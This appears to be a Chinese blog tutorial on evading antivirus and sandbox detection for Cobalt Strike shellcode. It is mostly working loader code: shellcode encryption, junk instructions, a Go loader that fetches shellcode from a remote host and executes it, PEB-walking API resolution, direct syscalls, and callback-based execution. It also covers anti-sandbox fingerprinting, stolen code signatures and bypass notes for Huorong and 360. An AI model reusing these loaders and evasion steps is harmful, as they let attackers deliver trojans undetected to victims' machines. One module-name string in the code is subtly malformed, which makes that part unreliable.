前言
免杀(Bypass AV, Anti-Virus Evasion)是指恶意软件通过各种手段规避杀毒软件和安全检测系统的识别和拦截,从而在目标系统中成功执行。这种技术不仅用于恶意软件的传播,也被信息安全研究人员用来测试和提升安全防护系统的能力。根据有无源码,免杀可以分为以下两种情况:
- 二进制免杀(无源码):通过直接修改二进制数据实现免杀。
- 有源码免杀:通过修改源代码实现免杀。
一般直接对二进制可执行文件进行无源码免杀技术难度较高,免杀效果也不好。于是可以通过将编译好的二进制可执行文件转化为一段shellcode,然后编写加载器执行这段shellcode,从而实现无源码免杀向有源码免杀的转化。根据免杀阶段还可以分为以下两种免杀:
- 静态免杀
- 动态免杀
本篇文章主要介绍基于shellcode免杀的静态免杀和动态免杀技术,并以CS生成的64位shellcode为例。
静态免杀
静态免杀主要是为了抵抗杀毒软件的静态扫描,杀毒软件的静态扫描一般会通过提取文件中的一段特征串来与自身的病毒库中的特征码进行对比来判断该文件是否为恶意文件,因此我们一般围绕修改或是掩盖文件的特征码来实现静态免杀。
特征码是一段能识别程序是否为病毒的特征串,不同杀毒软件识别病毒的特征码不同。
shellcode加密
一般CS生成的shellcode的特征已被杀毒软件大量标记,如果不对shellcode进行处理,木马刚“落地”就会被杀毒软件静态查杀。可以事先将shellcode进行加密,然后将加密后的shellcode密文写入代码中,在shellcode执行之前调用解密函数进行解密,从而绕过杀毒软件针对shellcode的静态查杀。
目前通过两种及以上常见的加密方法叠加加密就足够覆盖shellcode原本的特征,以下展示使用RC4和异或实现shellcode加密代码:
#include <stdio.h>
#include <iostream>
using namespace std;
unsigned char T[256] = { 0 };
unsigned char s[256];
char key[] = "ro3wj9f";//根据情况自行更改
int rc4_init(unsigned char* s, unsigned char* key, unsigned long Len)
{
int i = 0, j = 0;
unsigned char t[256] = { 0 };
unsigned char tmp = 0;
for (i = 0; i < 256; i++) {
s[i] = i;
t[i] = key[i % Len];
}
for (i = 0; i < 256; i++) {
j = (j + s[i] + t[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
}
for (int i = 0; i < 256; i++)
{
T[i] = s[i];
}
return 0;
}
int rc4_crypt(unsigned char* s, unsigned char* buf, unsigned long Len)
{
int i = 0, j = 0, t = 0;
unsigned char tmp;
for (int k = 0; k < Len; k++)
{
i = (i + 1) % 256;
j = (j + s[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
t = (s[i] + s[j]) % 256;
buf[k] ^= s[t];
}
return 0;
}
int main()
{
unsigned char buf[] = "your_shellcode";
//异或加密
for (int i = 0; i < sizeof(buf); i++) {
buf[i] ^= 6655;//根据情况自行更改
}
//初始化rc4密钥
rc4_init(s, (unsigned char*)key, strlen(key));
//rc4加密
for (size_t i = 0; i < sizeof(buf); i++)
{
rc4_crypt(s, &buf[i], sizeof(buf[i]));
printf("\\x%02x", buf[i]);
}
return 0;
}
添加花指令
“花指令”(Flower Instruction)是一种用于抵抗反汇编的技术,它通过插入无关的指令来混淆恶意代码,使得恶意文件或攻击行为不易被杀毒软件识别。这些代码之所以被称为“花指令”,因为它们像花朵一样在恶意代码中点缀,却不改变其本质。花指令可以是任何合法的 CPU 指令,但它们不会对程序的最终结果产生影响。通过这种方式,恶意文件可以在不改变其主要功能的前提下,增加额外的复杂性,达到改变原文件中特征码的偏移量的效果,从而规避安全检测。以下大致介绍几种花指令:
__AsmConstantCondition proc
xor rax, rax
jz L_END
db 0e8h
L_END:
nop
ret
__AsmConstantCondition endp
__AsmJmpSameTarget proc
jz L_END
jnz L_END
db 0e8h
L_END:
nop
ret
__AsmJmpSameTarget endp
__AsmImpossibleDisassm proc
push rax
mov ax, 05EBh
xor eax, eax
db 074h, 0fah
db 0e8h
pop rax
ret
__AsmImpossibleDisassm endp
__AsmReturnPointerAbuse proc
call $+5
add qword ptr[rsp], 6
ret
push rax
mov rax, rcx
imul rax, 40h
pop rax
ret
__AsmReturnPointerAbuse endp
远程分离
将shellcode与shellcode加载器分离开来,可以有效避免编译后的二进制文件中出现特征码,编译后的二进制文件中只包含shellcode加载器,只有当程序运行时shellcode才会以本地读取或是远程加载的形式到内存中。这么做可以有效避免文件在运行前被杀毒软件静态查杀,但是无法绕过某些杀毒软件针对文件运行时的内存扫描。以下展示远程分离shellcode的go语言示例代码:
这里事先将shellcode用base64加密后上传到远程,是为了把二进制数据转换成文本数据以便传输
package main
import (
"encoding/base64"
"fmt"
"io"
"net/http"
"syscall"
"unsafe"
)
const (
Mem_Commit = 0x1000 // Mem_Commit
Mem_Reserve = 0x2000 // Mem_Reserve
Page_Execute_ReadWrite = 0x40 // Page_Execute_ReadWrite
)
var (
Kernel32 = syscall.NewLazyDLL("Kernel32.dll")
// 获取函数地址
CreateThread = Kernel32.NewProc("CreateThread")
VirtualAlloc = Kernel32.NewProc("VirtualAlloc")
RtlMoveMemory = Kernel32.NewProc("RtlMoveMemory")
WaitForSingleObject = Kernel32.NewProc("WaitForSingleObject")
ProcCall = syscall.SyscallN
)
func main() {
file, err := http.Get("http://ip/1.txt")
if err != nil {
fmt.Println("无法打开远程文件:", err)
return
}
defer file.Body.Close()
shellcode, err := io.ReadAll(file.Body)
if err != nil {
fmt.Println("无法读取远程文件内容:", err)
return
}
buf, _ := base64.StdEncoding.DecodeString(string(shellcode))
lpMem, _, _ := VirtualAlloc.Call((0), uintptr(len(buf)), Mem_Commit|Mem_Reserve, Page_Execute_ReadWrite)
_, _, _ = RtlMoveMemory.Call(lpMem, uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf)))
hThread, _, _ := CreateThread.Call(0, 0, lpMem, 0, 0, 0)
_, _, _ = WaitForSingleObject.Call(hThread, uintptr(0xffffffff))
}
动态调用Windows API
杀毒软件除了计算整个可执行文件的hash值外,还会计算pe文件的导入表(import address tables)的hash值来判断是否为恶意文件,通常采用的hash算法为MD5。动态调用Windows API的原理在于通过加载系统库文件并使用函数指针来调用API函数,而不是直接在代码中静态调用API函数。这种动态调用的方式可以避免pe文件的导入表中出现敏感API,短时间内不会暴露恶意行为,从而避免被杀毒软件识别和拦截。
目前动态调用Windows API的方案有两种,第一种我称其为“不彻底的动态调用Windows API”,其原理是首先通过调用LoadLibrary
这个API来获取动态链接库句柄,然后调用GetProcAddress
来获取指定函数的地址。这种方案的优点就是代码比较好写,不需要内联汇编,但缺点也显而易见,如果杀毒软件对LoadLibrary
和GetProcAddress
这两个API进行了限制的话,这种方案变不再可行,下面主要介绍另一种比较彻底的方案。
在编写shellcode的加载器时,往往会用到VirtualAlloc
和CreateThread
, 这两个API都来自于 kernel32.dll 这个动态链接库。在加载库之前得先找到库的基地址,而基地址可以通过 PEB 结构来获取。因为 PEB 的地址存储在线程环境块(TEB) 中,所以需要通过内联汇编的方式来直接访问线程局部存储(TLS)。每个 DLL 文 件都有一个导出表,列出了可以从模块中导出的函数。导出表包含函数名称、序号和地址等信息。于是手动通过遍历导出表中的名称表和序号表,找到目标 API 的地址。地址表中的值通常是相对于模块基址的偏移量,需要加上基址才能得到实际的函数地址。一旦获得函数地址,就可以将其强制转换为 正确的函数指针类型,并像调用普通函数一样调用它。以下动态调用 Windows API 流程图:
在寻找目标函数地址时通过遍历导出表先找到GetProcAddress
函数地址,然后调用该函数找到其它的函数地址,既可简化寻找函数地址这一步的流程,也可避免被杀毒软件检测出来。以下代码针对32位程序:
头文件
#pragma once
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <process.h>
#include <string.h>
#include <DbgHelp.h>
#pragma comment(lib, "DbgHelp.lib")
//0x28 bytes (sizeof)
struct _PEB_LDR_DATA
{
ULONG Length; //0x0
UCHAR Initialized; //0x4
VOID* SsHandle; //0x8
struct _LIST_ENTRY InLoadOrderModuleList; //0xc
struct _LIST_ENTRY InMemoryOrderModuleList; //0x14
struct _LIST_ENTRY InInitializationOrderModuleList; //0x1c
VOID* EntryInProgress; //0x24
};
//0x8 bytes (sizeof)
struct _UNICODE_STRING
{
USHORT Length; //0x0
USHORT MaximumLength; //0x2
WCHAR* Buffer; //0x4
};
//0xc bytes (sizeof)
struct _RTL_BALANCED_NODE
{
union
{
struct _RTL_BALANCED_NODE* Children[2]; //0x0
struct
{
struct _RTL_BALANCED_NODE* Left; //0x0
struct _RTL_BALANCED_NODE* Right; //0x4
};
};
union
{
struct
{
UCHAR Red : 1; //0x8
UCHAR Balance : 2; //0x8
};
ULONG ParentValue; //0x8
};
};
//0xa8 bytes (sizeof)
struct _LDR_DATA_TABLE_ENTRY
{
struct _LIST_ENTRY InLoadOrderLinks; //0x0
struct _LIST_ENTRY InMemoryOrderLinks; //0x8
struct _LIST_ENTRY InInitializationOrderLinks; //0x10
VOID* DllBase; //0x18
VOID* EntryPoint; //0x1c
ULONG SizeOfImage; //0x20
struct _UNICODE_STRING FullDllName; //0x24
struct _UNICODE_STRING BaseDllName; //0x2c
union
{
UCHAR FlagGroup[4]; //0x34
ULONG Flags; //0x34
struct
{
ULONG PackagedBinary : 1; //0x34
ULONG MarkedForRemoval : 1; //0x34
ULONG ImageDll : 1; //0x34
ULONG LoadNotificationsSent : 1; //0x34
ULONG TelemetryEntryProcessed : 1; //0x34
ULONG ProcessStaticImport : 1; //0x34
ULONG InLegacyLists : 1; //0x34
ULONG InIndexes : 1; //0x34
ULONG ShimDll : 1; //0x34
ULONG InExceptionTable : 1; //0x34
ULONG ReservedFlags1 : 2; //0x34
ULONG LoadInProgress : 1; //0x34
ULONG LoadConfigProcessed : 1; //0x34
ULONG EntryProcessed : 1; //0x34
ULONG ProtectDelayLoad : 1; //0x34
ULONG ReservedFlags3 : 2; //0x34
ULONG DontCallForThreads : 1; //0x34
ULONG ProcessAttachCalled : 1; //0x34
ULONG ProcessAttachFailed : 1; //0x34
ULONG CorDeferredValidate : 1; //0x34
ULONG CorImage : 1; //0x34
ULONG DontRelocate : 1; //0x34
ULONG CorILOnly : 1; //0x34
ULONG ChpeImage : 1; //0x34
ULONG ReservedFlags5 : 2; //0x34
ULONG Redirected : 1; //0x34
ULONG ReservedFlags6 : 2; //0x34
ULONG CompatDatabaseProcessed : 1; //0x34
};
};
USHORT ObsoleteLoadCount; //0x38
USHORT TlsIndex; //0x3a
struct _LIST_ENTRY HashLinks; //0x3c
ULONG TimeDateStamp; //0x44
struct _ACTIVATION_CONTEXT* EntryPointActivationContext; //0x48
VOID* Lock; //0x4c
struct _LDR_DDAG_NODE* DdagNode; //0x50
struct _LIST_ENTRY NodeModuleLink; //0x54
struct _LDRP_LOAD_CONTEXT* LoadContext; //0x5c
VOID* ParentDllBase; //0x60
VOID* SwitchBackContext; //0x64
struct _RTL_BALANCED_NODE BaseAddressIndexNode; //0x68
struct _RTL_BALANCED_NODE MappingInfoIndexNode; //0x74
ULONG OriginalBase; //0x80
union _LARGE_INTEGER LoadTime; //0x88
ULONG BaseNameHashValue; //0x90
enum _LDR_DLL_LOAD_REASON LoadReason; //0x94
ULONG ImplicitPathOptions; //0x98
ULONG ReferenceCount; //0x9c
ULONG DependentLoadFlags; //0xa0
UCHAR SigningLevel; //0xa4
};
主程序
#include "precompile.h"
typedef FARPROC(WINAPI* PGETPROCADDRESS)(HMODULE hModule, LPCSTR lpProcName);
typedef LPVOID (WINAPI* VIRTUALALLOC)(LPVOID lpAddress,SIZE_T dwSize,DWORD flAllocationType,DWORD flProtect);
typedef VOID (WINAPI* RTLMOVEMEMORY)(VOID UNALIGNED* Destination,CONST VOID UNALIGNED* Source,SIZE_T Length);
typedef HANDLE (WINAPI* CREATETHREAD)(LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,DWORD dwCreationFlags,LPDWORD lpThreadId);
typedef DWORD(WINAPI* WAITFORSINGLEOBJECT)(HANDLE hHandle,DWORD dwMilliseconds);
DWORD GetPeb() {
// 定义数据结构
_PEB_LDR_DATA* Ldr;
// 获取Ldr
// TEB:0x30处存储PEB信息
// PEB:0x0C处存储Ldr信息
_asm {
push eax
push ebx
xor eax, eax
xor ebx, ebx
mov eax, fs: [0x30]
mov ebx, [eax + 0x0C]
mov Ldr, ebx
pop ebx
pop eax
}
return (DWORD)Ldr;
}
DWORD GetKenel32(DWORD Ldr) {
// 定义要获取的函数名, 因为数据类型位_UNICODE_STRING,所以此处许需要设置为UNICDOE的格式
char funcName[] = { 'K',0,'e',0,'l',0,'n',0,'e',0,'l','0','3',0,'2',0,'.',0,'d',0,'l',0,'l',0,0,0 };
DWORD kernel32Addr = NULL;
// 定义数据结构
_LIST_ENTRY* pBack;
_PEB_LDR_DATA* pLdr = (_PEB_LDR_DATA*)Ldr;
_LDR_DATA_TABLE_ENTRY* pNext;
_LDR_DATA_TABLE_ENTRY* pHide;
// 获取加载模块列表
pBack = &pLdr->InLoadOrderModuleList;
// 获取第一个模块,这是一个双向链表
// 第一个模块存储进程信息,后面的才是dll信息
pNext = (_LDR_DATA_TABLE_ENTRY*)pBack->Flink;
// 因为是链表,所以当pNext = pBack的时候就意味着走了一轮了
while ((int*)pBack != (int*)pNext) {
// 赋值
PCHAR BaseDllName = (PCHAR)pNext->BaseDllName.Buffer;
PCHAR pfuncName = (PCHAR)funcName;
// 一个字母一个字母的判断
while (*BaseDllName && *BaseDllName == *pfuncName) {
BaseDllName++;
pfuncName++;
}
// 判断模块名是否相等,相等就隐藏模块
if (*BaseDllName == *pfuncName) {
kernel32Addr = (DWORD)pNext->DllBase;
break;
}
// 指向下一个模块
pNext = (_LDR_DATA_TABLE_ENTRY*)pNext->InLoadOrderLinks.Flink;
}
return kernel32Addr;
}
DWORD GetFuncAddr(HMODULE Module) {
// 初始化pGetProcAddress
PGETPROCADDRESS pGetProcAddress = NULL;
// 这种方式是为了后面造shellcode方便, 指定要找的函数名
CHAR funcName[] = { 'G','e','t','P','r','o','c','A','d','d','r','e','s','s',0};
printf("[*] The name of the function to be found: %s\n", funcName);
// 获取dos头
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)Module;
// 获取文件头
PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD)dosHeader + dosHeader->e_lfanew);
// 获取导出表
PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)((DWORD)dosHeader + ntHeader->OptionalHeader.DataDirectory[0].VirtualAddress);
printf("[+] Get the address of ExportDirectory: %p\n", exportDirectory);
// 获取导出表中的三个表
// AddressOfNames: 名称表
// AddressOfNameOrdinals: 序号表
// AddressOfFunctions: 函数地址表
DWORD* AddressOfNames = (DWORD*)((DWORD)dosHeader + (DWORD)exportDirectory->AddressOfNames);
printf("[+] Get the address of AddressOfNames: %p\n", AddressOfNames);
WORD* AddressOfNameOrdinals = (WORD*)((DWORD)dosHeader + (DWORD)exportDirectory->AddressOfNameOrdinals);
printf("[+] Get the address of AddressOfNameOrdinals: %p\n", AddressOfNameOrdinals);
DWORD* AddressOfFunctions = (DWORD*)((DWORD)dosHeader + (DWORD)exportDirectory->AddressOfFunctions);
printf("[+] Get the address of AddressOfFunctions: %p\n", AddressOfFunctions);
PCHAR pfuncName = funcName;
// 寻找对应函数
for (int i = 0; i < exportDirectory->NumberOfNames; i++) {
PCHAR lpName = (PCHAR)((DWORD)dosHeader + AddressOfNames[i]);
while (*lpName && *lpName == *pfuncName) {
lpName++;
pfuncName++;
}
if (*lpName == *pfuncName) {
// 找到函数后,给函数赋值
pGetProcAddress = (PGETPROCADDRESS)((DWORD)dosHeader + AddressOfFunctions[AddressOfNameOrdinals[i]]);
printf("[+] Get the address of GetProcAddress: %p\n", pGetProcAddress);
return (DWORD)pGetProcAddress;
}
pfuncName = funcName;
};
return 0;
}
int main() {
HMODULE hKernel32 = (HMODULE)GetKenel32(GetPeb());
printf("[+] Get the address of Kernel32.dll Module: %p\n", hKernel32);
PGETPROCADDRESS pGetProcAddress = (PGETPROCADDRESS)GetFuncAddr(hKernel32);
VIRTUALALLOC myVirtualAlloc = (VIRTUALALLOC)pGetProcAddress(hKernel32, "VirtualAlloc");
RTLMOVEMEMORY myRtlMoveMemory = (RTLMOVEMEMORY)pGetProcAddress(hKernel32, "RtlMoveMemory");
CREATETHREAD myCreateThread = (CREATETHREAD)pGetProcAddress(hKernel32, "CreateThread");
WAITFORSINGLEOBJECT myWaitForSingleObject = (WAITFORSINGLEOBJECT)pGetProcAddress(hKernel32, "WaitForSingleObject");
// shellcode放到这里,是否异或自己决定
unsigned char buf[] ="";
LPVOID lpMem = myVirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
myRtlMoveMemory(lpMem, buf, sizeof(buf));
HANDLE hThread = myCreateThread(0, 0, (LPTHREAD_START_ROUTINE)lpMem, 0, 0, 0);
printf("[+] shellcode is running!\n");
printf("\n");
printf("++++++++++++++++++++++++++++++++++++++++++\n");
printf("++++++++ Happy ++++++++\n");
printf("++++++++++++++++++++++++++++++++++++++++++\n");
myWaitForSingleObject(hThread, INFINITE);
return 0;
}
动态免杀
目前国内杀毒软件主要对文件运行时或即将运行时的行为监控来进行动态查杀,这个监控的原理比较复杂,它可能是基于敏感API的调用、内存中的特定字符串等形成的一个打分机制来进行恶意文件的判断。一般在shellcode加载器代码我们会调用一些敏感API,所以为了对抗杀软的动态查杀,主要需要对shellcode加载器代码进行免杀处理。
代码混淆
文件中如果单独出现一个敏感API是无法触发杀毒软件的报警,杀毒软件会根据文件中敏感API的数量以及这些API被调用的顺序进行综合评分来判断该文件是否为恶意的。这里介绍的代码混淆主要针对的是源码层面文件的执行流,可以通过向不同的敏感API调用之间插入一些无关代码,或是改变一些敏感API的调用顺序来实现文件的代码混淆。
重写ring3层API
在Intel CPU设计中,有四个特权级别,即ring 0-ring 3,Windows系统实际上只使用了两个特权级别,即ring 0(内核)和ring 3(用户)。在当前环境下,安全技术的防御能力逐渐变强,杀毒软件也会通过hook ring3层函数的方式来捕捉API的调用,因此需要重写这些API达到绕过的目的。
通过工具Process Monitor观察Windows API的调用过程,发现大多数系统API在执行前最终会调用ntdll.dll
中的Nt
函数,如下图所示CreateThread
会调用ntdll.dll
中的NtCreateThreadEx
函数。
NtCreateThreadEx
则是一个Windows Native API,也是我们需要重写的函数。NtDoc - The native NT API online documentation这个是一个Native API文档,可以帮助我们进行重写,以下是NtCreateThreadEx
函数原型:
NTSYSCALLAPI
NTSTATUS
NTAPI
NtCreateThreadEx(
_Out_ PHANDLE ThreadHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_ HANDLE ProcessHandle,
_In_ PUSER_THREAD_START_ROUTINE StartRoutine,
_In_opt_ PVOID Argument,
_In_ ULONG CreateFlags, // THREAD_CREATE_FLAGS_*
_In_ SIZE_T ZeroBits,
_In_ SIZE_T StackSize,
_In_ SIZE_T MaximumStackSize,
_In_opt_ PPS_ATTRIBUTE_LIST AttributeList
);
通过动态调试来分析NtCreateThreadEx
函数的更底层的实现,如下图所示:
可以看到其最后是执行了0xc7号系统调用,到目前为止我们就可以重写NtCreateThreadEx
函数来进行免杀,以下介绍大致过程,至于其它的Nt
函数底层的系统调用号可以通过这个网站查询Windows X86-64 System Call Table 。
首先在visual studio项目源文件中创建syscall.asm
汇编文件,然后在该文件中添加以下代码:
.code
NtCreateThreadEx proc
mov r10, rcx
mov eax, 0c7h
syscall
ret
NtCreateThreadEx endp
end
对该汇编文件右键“属性”,设置生成方案,如下图所示:
参照上图输入ml64 /c %(fileName).asm
和%(fileName).obj
其次创建syscall.h
头文件,代码如下:
#include <windows.h>
typedef struct _PS_ATTRIBUTE
{
ULONG Attribute;
SIZE_T Size;
union
{
ULONG Value;
PVOID ValuePtr;
} u1;
PSIZE_T ReturnLength;
} PS_ATTRIBUTE, * PPS_ATTRIBUTE;
typedef struct _PS_ATTRIBUTE_LIST
{
SIZE_T TotalLength;
PS_ATTRIBUTE Attributes[1];
} PS_ATTRIBUTE_LIST, * PPS_ATTRIBUTE_LIST;
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES
{
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
最后主程序代码如下:
#include "syscall.h"
EXTERN_C NTSTATUS NtCreateThreadEx(
OUT PHANDLE ThreadHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN HANDLE ProcessHandle,
IN PVOID StartRoutine,
IN PVOID Argument OPTIONAL,
IN ULONG CreateFlags,
IN SIZE_T ZeroBits,
IN SIZE_T StackSize,
IN SIZE_T MaximumStackSize,
IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL);
int main() {
unsigned char buf[] = "your_shellcode";
HANDLE Ps = GetCurrentProcess();
LPVOID lpMem = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(lpMem, buf, sizeof(buf));
HANDLE hThread;
NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, Ps, lpMem, NULL, 0, 0, 0, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
return 0;
}
这样就重写了ring3 API,因为是程序内定义的,所以杀毒软件(用户态)无法监控我们使用了API,其它API可以参照自由发挥。这里再推荐一个项目jthuraisamy/SysWhispers:通过直接系统调用规避 AV/EDR,该项目重写了大部分的函数,利于我们直接使用,具体使用方法在此不多赘述。
回调函数执行
回调函数是一种特殊的函数,它作为参数传递给另一个函数,并在被调用函数执行完毕后被调用。回调函数通常用于事件处理、异步编程和处理各种操作系统和框架的API。这里通过使用WinHTTP
的回调机制,可以在网络请求的上下文中触发恶意代码的执行。这可能使得检测变得更加困难,因为网络请求本身是合法的行为,而恶意代码的执行与网络请求相绑定,可能会被误认为是正常操作的一部分,以下为主要代码:
#include<Windows.h>
#include<winhttp.h>
#pragma comment(lib,"Winhttp.lib")
unsigned char buf[] = "your_shellcode";
int main(INT argc, char* argv[]) {
DWORD lpflOldProtect;
VirtualProtect(buf, sizeof buf / sizeof buf[0], PAGE_EXECUTE_READWRITE, &lpflOldProtect);
HINTERNET hSession = WinHttpOpen(L"User Agent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
WINHTTP_STATUS_CALLBACK callback = WinHttpSetStatusCallback(hSession, (WINHTTP_STATUS_CALLBACK)&buf, WINHTTP_CALLBACK_FLAG_HANDLES, 0);
WinHttpCloseHandle(hSession);
return 0;
}
反沙箱
因为杀毒软件一般会将木马丢进自己的沙箱环境执行,所以这里将反沙箱作为动态免杀的一环。之前公众号上有篇推文已经介绍过了反沙箱,这里只做一些补充。
延时执行
关于延时执行这里提供一个比较有意思的思路,我们不一定需要调用类似于Sleep
延时API实现延时。一般程序中出现网络请求是一件很正常的是,但是如果我们将请求的地址转化为一个错误地址,便可以利用网络的请求超时从而实现代码的延时执行。
环境检测
这里主要针对微步云沙箱做一些环境检测补充,微步云沙箱作为国内最热门的沙箱检测平台,它不仅能够监控程序的行为,而它还会给出程序在沙箱环境的运行截图。但是这也存在一定的安全隐患,可以通过编写并上传特定程序来打印沙箱的环境信息,再通过平台的运行截图将这些信息泄露出来,如下图所示:
以下是某次测试的微步云沙箱环境信息:
测试项 | 测试结果 |
---|---|
主机名 | DESKTOP-H9URB7T |
网卡名称 | Realtek RTL8139C+ Fast Ethernet NIC |
IPV4地址 | 192.168.9.235 |
物理地址 | 52-54-00-48-E1-96 |
卷序列号 | D673-9753 |
IPV6地址 | fe80::813a:95bf;7216:27f1%7 |
操作系统 | Windows |
时区 | UTC+08:00 |
系统时区设置 | zh-cn |
输入法时区设置 | zh-cn |
物理内存总量 | 4095MB |
svchost.exe | 存在 |
audiodg.exe | 暂缺 |
PanInstaller.exe | 暂缺 |
backgroundTaskHost.exe | 暂缺 |
Detonate.exe | 暂缺 |
Googlelpdate.exe | 暂缺 |
RemindersServer.exe | 暂缺 |
PSafeCategoryFinder.exe | 暂缺 |
GooglelpdateSetup.exe | 暂缺 |
QQ.exe | 暂缺 |
sihost.exe | 暂缺 |
微步云沙箱的环境会更新,环境信息有时效性。
以下是一个弹计算器程序中有无反沙箱的检测对比截图:
无反沙箱
有反沙箱
其它免杀操作
优化编译选项
Microsoft Visual Studio如果不优化编译,会通过生成调试信息和嵌入表单的方式向编译程序中遗留一些编译信息。这些信息可以被杀毒软件利用来识别恶意文件。因此,通过优化编译选项来来去除或篡改这些编译信息,可以降低恶意代码被查杀的风险,如下图所示:
更换编译器
相比于Visual Studio的默认编译器,Intel c++编译器生成的可执行文件特征会更少,如果追求比较低的VT检测率,可以使用Intel c++编译器。通过这个链接Download the Intel® oneAPI Base Toolkit下载并在安装导向中选择为Visual Studio安装后,在Visual Studio项目属性中选择Intel编译器即可,如下图所示:
添加签名和图标
给最后编译生成的文件添加签名和图标,可以将其装饰地更像一个正常程序从而绕过杀毒软件的一些检测。可以通过SigThief这个项目来窃取其它带有签名的文件到我们生成的文件身上,也可以通过Resource Hacker 这个工具来为我们的文件添加图标,效果如下图所示:
![外
签名和图标是把“双刃剑”,虽然它在某种程度上能为木马提供伪装,但同时也能成为杀软的检测特征。
国内杀软特点分析
火绒
火绒对程序的静态检测比较严格,主要表现在对程序中嵌入的shellcode以及程序的导入表有严格的检查。而且火绒存在本地沙箱,在程序的静态特征较为明显的情况下需要借助反沙箱的技术对火绒静态查杀进行绕过,在某些情况下如果对程序的静态特征做了很好的消除,甚至可以不利用反沙箱技术即可绕过火绒本地沙箱。
360
360主要对程序的动态检测比较严格,如果程序中包含大量敏感操作(如扫描进程,获取外设信息,建立网络连接等)则容易被查杀出来。在研究过程中发现360有明显的程序静态特征标记行为,如果程序在编译的时候没有去除调试信息,而且该调试信息在其它被查杀的程序中出先过,则新编译出来的程序很容易被360查杀。
总体特点
国内杀软目前主要依靠云端的特征库对木马进行查杀,如果在断网环境下,杀软的查杀能力会大幅下降。国内杀软的病毒库更新也很频繁,这使木马的免杀周期很短。在木马测试时,程序的特征很容易被国内杀软上传到云端,遇到这种情况可以尝试通过更改加密密钥、混淆代码、更换签名和图标等操作使木马重新免杀。
总结
以上技术如果单独使用都很难实现免杀,但是如果将上述技术很好地结合起来才可以轻易绕过国内杀软的静动态检测,VT和微步检测率如下:
参考文章
免杀对抗-ShellCode上线+回调编译执行+混淆变异算法_cs的shellcode-CSDN博客
动态获取API执行shelcode - 先知社区 (aliyun.com)
PEB结构:获取模块kernel32基址技术及原理分析-软件逆向-看雪-安全社区|安全招聘|kanxue.com
浅谈 Syscall-安全客 - 安全资讯平台 (anquanke.com)